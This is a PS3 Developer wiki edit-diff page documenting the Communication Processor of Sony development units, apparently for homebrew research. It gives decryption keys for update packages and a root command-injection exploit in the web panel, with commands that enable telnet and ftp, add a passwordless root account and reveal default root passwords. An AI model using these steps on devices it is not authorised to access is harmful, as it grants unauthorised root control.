Editing Communication Processor

Jump to navigation Jump to search
Warning: You are not logged in. Your IP address will be publicly visible if you make any edits. If you log in or create an account, your edits will be attributed to your username, along with other benefits.

The edit can be undone. Please check the comparison below to verify that this is what you want to do, and then publish the changes below to finish undoing the edit.

Latest revision Your text
Line 4: Line 4:
[[CXD9790GG]] (I/O)
[[CXD9790GG]] (I/O)


[[TCP-510]] (Board ID on the DEH models such as [[DEH-R1000]])
[[TCP-510]] (Board ID on the DEH models such as [[DEH-R1040]])


[[TCP-520]] (Board ID on the [[DECR-1000]])
[[TCP-520]] (Board ID on the [[DECR-1000]])
Line 23: Line 23:
The update packages are just tar.gz packages encrypted using AES256CBC Here is the syntax to decrypt them :
The update packages are just tar.gz packages encrypted using AES256CBC Here is the syntax to decrypt them :


* The first 16 bytes of the package is the IV, the Second 16 bytes is the MD5 hash of the decrypted package without padding. If the padding is 1 byte after tgz the binary will be padded with a single 01 byte at the end (0x10) if the padding is 2 bytes it'll be two 02 bytes, and so on until 16 (WTF Sony!) 0x10 bytes.
* The first 16 bytes of the package is the IV, the Second 16 bytes is the hash of the decrypted package.


So use this Syntax after skipping the first 32 bytes of the file:  
So use this Syntax after skipping the first 32 bytes of the file:  


{{keyboard|content=<syntaxhighlight lang="bash">openssl aes-256-cbc -in reftool_cp_xxx.bin -K E8ED2B817207B70C5DF9090507AF2A8982967620D692B92A59231638402DF13F -iv the_first_16_bytes_of_the_file -d > dec.tgz
{{keyboard|content=openssl aes-256-cbc -in reftool_cp_xxx.bin -K E8ED2B817207B70C5DF9090507AF2A8982967620D692B92A59231638402DF13F -iv the_first_16_bytes_of_the_file -d > dec.tgz
</syntaxhighlight>}}
}}


PSP Hardware Tool Updates use the very same encryption but a different key inside the toolupdatedec binary.
PSP Hardware Tool Updates use the very same encryption but a different key inside the toolupdatedec binary.
Line 34: Line 34:
The key to these units has also been dumped, here is the syntax to decrypt psp Hardware Tool Update for DTP-T1000
The key to these units has also been dumped, here is the syntax to decrypt psp Hardware Tool Update for DTP-T1000


{{keyboard|content=<syntaxhighlight lang="bash">openssl aes-256-cbc -in psptoolupdate.bin -K A400C48628A7A5294D11AE3BB2587AEA32E501C63E49D1DCAA19B5AEB092F3DB -iv the_first_16_bytes_of_the_file -d > dec.tgz
{{keyboard|content=openssl aes-256-cbc -in psptoolupdate.bin -K A400C48628A7A5294D11AE3BB2587AEA32E501C63E49D1DCAA19B5AEB092F3DB -iv the_first_16_bytes_of_the_file -d > dec.tgz
</syntaxhighlight>}}
}}


P.S. If you have any trouble extracting the tarballs, try using Linux.
P.S. If you have any trouble extracting the tarballs, try using Linux.
Line 63: Line 63:
* http://www.psdevwiki.com/ps3/index.php?title=Communication_Processor&oldid=41073#Exploting_the_Communication_Processor
* http://www.psdevwiki.com/ps3/index.php?title=Communication_Processor&oldid=41073#Exploting_the_Communication_Processor
</div>
</div>
=== Step 0 - Easy Way (python script) ===
Install the requests module, download [https://github.com/jevinskie/ps3-decr-stuff/blob/master/root_cp.py root_cp.py] and then run <pre>root_cp.py <hostname of CP></pre>.


=== Step 1 - The Development Tool Web panel ===
=== Step 1 - The Development Tool Web panel ===
Line 249: Line 245:
<tr>
<tr>
<th>Setting file</th>
<th>Setting file</th>
<td>
<input type="file" name="setting">
</td>
</tr>
</table>
<hr>
Send text command
<table>
<tr>
<th>Text command</th>
<td>
<td>
<input type="text" name="setting">
<input type="text" name="setting">
Line 280: Line 266:
You should now have a place in which you can input text in the page itself, the exploit works as follows, any command you sent (by pressing on the "Setting" button) preceded by "; " (do not include the quotes) will run as root on the Communication Processor, so here are the obvious commands you need to input in order to gain telnet and ftp access as well as to add a root account to the unit:
You should now have a place in which you can input text in the page itself, the exploit works as follows, any command you sent (by pressing on the "Setting" button) preceded by "; " (do not include the quotes) will run as root on the Communication Processor, so here are the obvious commands you need to input in order to gain telnet and ftp access as well as to add a root account to the unit:


Add a line to start telnet in inetd.conf (on DECR-1000 the line already exists in the original file but is commented; on DTP-T1000 telnet is enabled by default so this command is not required.)
Add a line to start telnet in inetd.conf (the line already exists in the original file but is commented)
{{keyboard|content=<syntaxhighlight lang="bash">echo >>/etc/inetd.conf telnet stream tcp nowait root /usr/sbin/tcpd in.telnetd</syntaxhighlight>}}  
{{keyboard|content=; echo >>/etc/inetd.conf telnet stream tcp     nowait root   /usr/sbin/tcpd in.telnetd }}  
Add a line to start ftpd in inetd.conf
Add a line to start ftpd in inetd.conf
{{keyboard|content=<syntaxhighlight lang="bash">echo >>/etc/inetd.conf ftp stream tcp nowait root /usr/sbin/tcpd in.ftpd</syntaxhighlight>}}
{{keyboard|content=; echo >>/etc/inetd.conf ftp stream tcp nowait root /usr/sbin/tcpd in.ftpd }}
Restart inetd to apply the above changes
Restart inetd to apply the above changes
{{keyboard|content=<syntaxhighlight lang="bash">/etc/init.d/inetd restart</syntaxhighlight>}}
{{keyboard|content=; /etc/init.d/inetd restart }}
Add an account called rt with root privileges and no password to the passwd file (alternatively on the DECR-1000 Communication Processor you may ignore this step and log in with the root account and the password cytology on the DTP-T1000 the password to the root account is tAchyOn )
Add an account called rt with root privileges and no password to the passwd file (alternatively on the DECR-1000 Communication Processor you may ignore this step and log in with the root account and the password cytology)
{{keyboard|content=<syntaxhighlight lang="bash">echo >>/etc/passwd rt::0:0:root:/root:/bin/bash</syntaxhighlight>}}
{{keyboard|content=; echo >>/etc/passwd rt::0:0:root:/root:/bin/bash }}


You may also output files given the right path (if you don't want to mess with ftp) the below example creates a ls.txt file containing a listing of all files on the CP at the Development panel's root
You may also output files given the right path (if you don't want to mess with ftp) the below example creates a ls.txt file containing a listing of all files on the CP at the Development panel's root
{{keyboard|content=<syntaxhighlight lang="bash">ls -alR /* > /usr/local/sony/www/html/ls.txt</syntaxhighlight>}}
{{keyboard|content=; ls -alR /* > /usr/local/sony/www/html/ls.txt }}


While sending all these commands (by clicking on the "Setting" button), the Development Tool's panel will send you an error message, this is normal (given the nature of the exploit) and can be ignored, just follow with the next commands until you have achieved your expected goal.
While sending all these commands (by clicking on the "Setting" button), the Development Tool's panel will send you an error message, this is normal (given the nature of the exploit) and can be ignored, just follow with the next commands until you have achieved your expected goal.
Line 296: Line 282:
Once you have dumped the development tool panel's files, or extracted those from updates, the exploit should be fairly obvious to you. Of course when this exploit was first discovered, we had no previous access to the files on the Communication Processor and had to initially take another route, which was to dump the Communication Processor's bootrom using hardware (the chip sits on a socket), discover and use the diagnostic panel/shell on it, find a way out of its sandbox and send (through very slow serial outputs) the content of the Communication Processor's memory (as it was running live), which incidentally contained a whole copy of the file system and allowed to look for an easier way in, eventually the toolupdatedec files from both the DTP-T1000 and TCP-520 (DECR-1000 CP) was dumped using this exploit, allowing to retrieve the keys and algorithms used to decrypt Communication Processor/Hardware Tool updates.
Once you have dumped the development tool panel's files, or extracted those from updates, the exploit should be fairly obvious to you. Of course when this exploit was first discovered, we had no previous access to the files on the Communication Processor and had to initially take another route, which was to dump the Communication Processor's bootrom using hardware (the chip sits on a socket), discover and use the diagnostic panel/shell on it, find a way out of its sandbox and send (through very slow serial outputs) the content of the Communication Processor's memory (as it was running live), which incidentally contained a whole copy of the file system and allowed to look for an easier way in, eventually the toolupdatedec files from both the DTP-T1000 and TCP-520 (DECR-1000 CP) was dumped using this exploit, allowing to retrieve the keys and algorithms used to decrypt Communication Processor/Hardware Tool updates.


=== Fun scripts to try (DECR-1000 and DEH-R units only) ===
{{Motherboard Components}}<noinclude>[[Category:Main]]</noinclude>
 
==== backup_mode.sh ====
 
<pre>
#!/bin/bash
echo -n 0 > /proc/ps3tool_gpio/SC_PI0_DIPSW
echo -n 0 > /proc/ps3tool_gpio/SC_RSTX
sleep 1
echo -n 1 > /proc/ps3tool_gpio/SC_RSTX
</pre>
 
* sets DECR in backup mode
* scver in backup mode is v0.4.5_b4!
 
==== normal_mode.sh ====
 
<pre>
#!/bin/bash
echo -n 1 > /proc/ps3tool_gpio/SC_PI0_DIPSW
echo -n 0 > /proc/ps3tool_gpio/SC_RSTX
sleep 1
echo -n 1 > /proc/ps3tool_gpio/SC_RSTX
</pre>
 
* sets DECR in normal mode
 
==== sc_soft_reset.sh ====
 
<pre>
#!/bin/bash
echo -n 0 > /proc/ps3tool_gpio/SC_RSTX
sleep 1
echo -n 1 > /proc/ps3tool_gpio/SC_RSTX
</pre>
 
* soft resets SYSCON
 
==== update.sh ====
 
<pre>
#!/bin/bash
 
function mode() { # 0 = backup mode, 1 = normal mode
printf "$1" > /proc/ps3tool_gpio/SC_PI0_DIPSW
# reset sc
printf "0" > /proc/ps3tool_gpio/SC_RSTX
sleep 1
printf "1" > /proc/ps3tool_gpio/SC_RSTX
# wait for sc to be ready
sleep 2
}
 
function command() {
printf "${1}\r\n" > /dev/ttyS0
}
 
# do NOT use this while sx is running, instead use e.g. socat
function print_uart() {
while IFS= read -r -d $'\0' -n 1 LINE; do
printf "%c" "$LINE"
done < /dev/ttyS0
unset IFS
}
 
if ! [[ "$1" == /* ]]; then
echo "ERROR: Firmware update file path has to be absolute!"
exit 1
fi
 
if [ ! -f $1 ]; then
echo "ERROR: Firmware update file not found!"
exit 1
fi
 
 
wait /usr/local/sony/bin/be_shutdown &>/dev/null
 
killall scuartd &>/dev/null
command "halt"
sleep 2
 
mode 0
 
command "firmud"
sleep 2
/usr/bin/sx $1 < /dev/ttyS0 > /dev/ttyS0 &
wait $!
 
printf "\n----- Press any key after \'completed!! [mullion]\$\' -----\n"
print_uart &
pid=$!
read -n 1 -s # wait for key
printf "\n"
kill $pid
 
mode 1
 
/usr/local/sony/bin/scuartd & &>/dev/null
</pre>
 
* Updates SYSCON firmware. Can works sometimes with corrupt firmware. Needs one parameter (absolute path to syscon firmware)
 
{{Console Components}}<noinclude>[[Category:Main]]</noinclude>
Please note that all contributions to PS3 Developer wiki are considered to be released under the GNU Free Documentation License 1.2 (see PS3 Developer wiki:Copyrights for details). If you do not want your writing to be edited mercilessly and redistributed at will, then do not submit it here.
You are also promising us that you wrote this yourself, or copied it from a public domain or similar free resource. Do not submit copyrighted work without permission!

To protect the wiki against automated edit spam, we kindly ask you to solve the following hCaptcha:

Cancel Editing help (opens in new window)